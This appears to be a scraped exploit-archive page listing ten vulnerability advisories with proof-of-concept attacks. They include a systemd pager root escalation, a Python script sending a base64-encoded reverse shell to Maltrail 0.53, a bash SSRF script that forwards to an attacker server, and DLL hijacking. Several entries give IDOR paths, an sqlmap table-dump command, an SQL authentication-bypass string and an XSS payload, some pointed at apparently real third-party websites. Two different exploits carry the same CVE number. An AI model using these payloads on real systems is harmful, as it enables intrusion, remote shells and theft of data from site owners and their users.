systemd version 246 suffers from a local root privilege escalation vulnerability.

    # Exploit Title: systemd 246 - Local Privilege Escalation# Exploit Author: Iyaad Luqman K (init_6)# Application: systemd 246# Tested on: Ubuntu 22.04# CVE: CVE-2023-26604systemd 246 was discovered to contain Privilege Escalation vulnerability, when the `systemctl status` command can be run as root user. This vulnerability allows a local attacker to gain root privileges.## Proof Of Concept:1. Run the systemctl command which can be run as root user.sudo /usr/bin/systemctl status any_service2. The ouput is opened in a pager (less) which allows us to execute arbitrary commands.3. Type in `!/bin/sh` in the pager to spawn a shell as root user.

systemd 246 Local Root Privilege Escalation

Maltrail version 0.53 suffers from an unauthenticated remote code execution vulnerability.

    # Exploit Title: Maltrail v0.53 - Unauthenticated Remote Code Execution (RCE)# Exploit Author: Iyaad Luqman K (init_6)# Application: Maltrail v0.53# Tested on: Ubuntu 22.04# CVE: CVE-2023-27163# PoCimport sys;import os;import base64;def main():  listening_IP = None  listening_PORT = None  target_URL = None  if len(sys.argv) != 4:    print("Error. Needs listening IP, PORT and target URL.")    return(-1)    listening_IP = sys.argv[1]  listening_PORT = sys.argv[2]  target_URL = sys.argv[3] + "/login"  print("Running exploit on " + str(target_URL))  curl_cmd(listening_IP, listening_PORT, target_URL)def curl_cmd(my_ip, my_port, target_url):  payload = f'python3 -c \'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{my_ip}",{my_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")\''  encoded_payload = base64.b64encode(payload.encode()).decode()  # encode the payload in Base64  command = f"curl '{target_url}' --data 'username=;`echo+\"{encoded_payload}\"+|+base64+-d+|+sh`'"  os.system(command)if __name__ == "__main__":  main()

Maltrail 0.53 Remote Code Execution

Request-Baskets version 1.2.1 suffers from a server-side request forgery vulnerability.

    # Exploit Title: Request-Baskets v1.2.1 - Server-side request forgery (SSRF)# Exploit Author: Iyaad Luqman K (init_6)# Application: Request-Baskets v1.2.1# Tested on: Ubuntu 22.04# CVE: CVE-2023-27163# PoC#!/bin/bashif [ "$#" -lt 2 ] || [ "$1" = "-h" ] || [ "$1" = "--help" ]; then    help="Usage: exploit.sh <URL> <TARGET>\n\n";    help+="Arguments:\n" \    help+=" URL            main path (/) of the server (eg. http://127.0.0.1:5000/)\n";    help+=" TARGET";    echo -e "$help";    exit 1;fiURL=$1ATTACKER_SERVER=$2if [ "${URL: -1}" != "/" ]; then    URL="$URL/";fi;BASKET_NAME=$(LC_ALL=C tr -dc 'a-z' </dev/urandom | head -c "6");API_URL="$URL""api/baskets/$BASKET_NAME";PAYLOAD="{\"forward_url\": \"$ATTACKER_SERVER\",\"proxy_response\": true,\"insecure_tls\": false,\"expand_path\": true,\"capacity\": 250}";echo "> Creating the \"$BASKET_NAME\" proxy basket...";if ! response=$(curl -s -X POST -H 'Content-Type: application/json' -d "$PAYLOAD" "$API_URL"); then    echo "> FATAL: Could not properly request $API_URL. Is the server online?";    exit 1;fi;BASKET_URL="$URL$BASKET_NAME";echo "> Basket created!";echo "> Accessing $BASKET_URL now makes the server request to $ATTACKER_SERVER.";if ! jq --help 1>/dev/null; then    echo "> Response body (Authorization): $response";else    echo "> Authorization: $(echo "$response" | jq -r ".token")";fi;exit 0;

Request-Baskets 1.2.1 Server-Side Request Forgery

OutSystems Service Studio version 11.53.30 suffers from a dll hijacking vulnerability.

    # Exploit Title: OutSystems Service Studio 11.53.30 - DLL Hijacking# Date: 2023-08-09# Exploit Author: Carlo Di Dato for Deloitte Risk Advisory Italia# Vendor Homepage: https://www.outsystems.com/# Version: Up to 11.53.30 (Build 61739)# Tested on: Windows# CVE : CVE-2022-47636A DLL hijacking vulnerability has been discovered in OutSystems Service Studio 11 11.53.30 build 61739.When a user open a .oml file (OutSystems Modeling Language), the application will load the following DLLs from the same directory:av_libGLESv2.dlllibcef.DLLuser32.dlld3d10warp.dllUsing a crafted DLL, it is possible to execute arbitrary code in the context of the current logged in user.

OutSystems Service Studio 11.53.30 DLL Hijacking

i2soft CMS version 2.0 suffers from an insecure direct object reference vulnerability.

    ====================================================================================================================================| # Title     : i2soft CMS v2.0 Insecure Direct Object Reference Vulnerability                                                     || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 69.0(32-bit)                                               | | # Vendor    : https://www.i2softbd.com/                                                                                          |  ====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] suffers from an insecure direct object reference that allows users to access the administrative interface.[+] use payload 1 : /Admin/menu.php[+] use payload 2 : Admin/container.php?p=../footer.html[+] now you can modify footer page or read other files[+] https://wtaazakhobor24com/Admin/container.php?p=../footer.htmlGreetings to :=================================================================jericho * Larry W. Cashdollar * shadow_00715 * LiquidWorm * Hussin-X * D4NB4R |===============================================================================

i2soft CMS 2.0 Insecure Direct Object Reference

helloGTX Travel Portal CRM version 1.6 suffers from an insecure direct object reference vulnerability.

    ====================================================================================================================================| # Title     : helloGTX Travel Portal CRM v1.6 Insecure Direct Object Reference Vulnerability                                     || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 69.0(32-bit)                                               | | # Vendor    : https://www.hellogtx.com/                                                                                          |  ====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] suffers from an insecure direct object reference that allows users to access the administrative interface.[+] use payload : /admin/index/dashboard[+] Watch only without editing[+] https://wwholidaysbookerscom/admin/index/dashboardGreetings to :=================================================================jericho * Larry W. Cashdollar * shadow_00715 * LiquidWorm * Hussin-X * D4NB4R |===============================================================================

helloGTX Travel Portal CRM 1.6 Insecure Direct Object Reference

FlatApp Premium Admin Dashboard version 1.0 suffers from a remote SQL injection vulnerability.

    ====================================================================================================================================| # Title     : FlatApp - Premium Admin Dashboard 1.0 SQL injection Vulnerability                                                  || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 69.0(32-bit)                                               | | # Vendor    : https://themeforest.net/item/flatapp-premium-admin-dashboard-template/4961564?ref=pixelcave                        |  ====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : /business-detail.php?lid=15003 <===== inject here [+] D:\sqlmap>sqlmap.py -u https://wwmrigindiacom/business-detail.php?lid=15003 --risk=3 --level=5 --random-agent --user-agent -v3 --batch --threads=10 --dump -D mrigindi_new1 -T admin_loginGreetings to :=================================================================jericho * Larry W. Cashdollar * shadow_00715 * LiquidWorm * Hussin-X * D4NB4R |===============================================================================

FlatApp Premium Admin Dashboard 1.0 SQL Injection

Greeva version 2.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

    ====================================================================================================================================| # Title     : Greeva 2.0 Auth By Pass Vulnerability                                                                              || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 115.0.2(64-bit)                                            | | # Vendor    : https://coderthemes.com/greeva/index.html                                                                          |  ====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : user & pas = 1'or'1'='1[+] http://127.0.0.1/wsb-patho.com/sbpatho_system/pap_system/dist/auth-login.phpGreetings to :=================================================================jericho * Larry W. Cashdollar * shadow_00715 * LiquidWorm * Hussin-X * D4NB4R |===============================================================================

Greeva 2.0 SQL Injection

Easy Web Portal version 2.1.1 suffers from a cross site scripting vulnerability.

    ====================================================================================================================================| # Title     : Easy Web Portal v2.1.1 XSS Vulnerability                                                                           || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 64.0.2 (32-bit)                                            || # Vendor    : http://www.p30vel.ir                                                                                               || # Dork      : EWP a été construit avec Easy Web Portal v2.1.1                                                                    |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] This vulnerability affects /tst/index.php .[+] URL encoded GET input admin was set to 0' onmouseover=prompt(976752) bad='[+] The input is reflected inside a tag parameter between single quotes.Greetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

Easy Web Portal 2.1.1 Cross Site Scripting

Easy Password Manager version 1.1 suffers from an administrative information disclosure vulnerability.

    ====================================================================================================================================| # Title     : Easy Password Manager v1.1 unauthorized administrative access Vulnerability                                        || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 63.0.3 (32-bit)                                            || # Vendor    : https://codelist.cc/scripts/247302-password-manager-for-rise-crm-v11.html                                          |  ====================================================================================================================================poc :[+]  Dorking İn Google Or Other Search Enggine .[+]  unauthorized access allows you to export all E-mail group .[+]  Use Payload : /export-all-mail-group-csv.php[+]  https://127.0.0.1/mother-of-mangrovecom/xicia/cc/epm/export-all-mail-group-csv.php  Greetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

Tag

#auth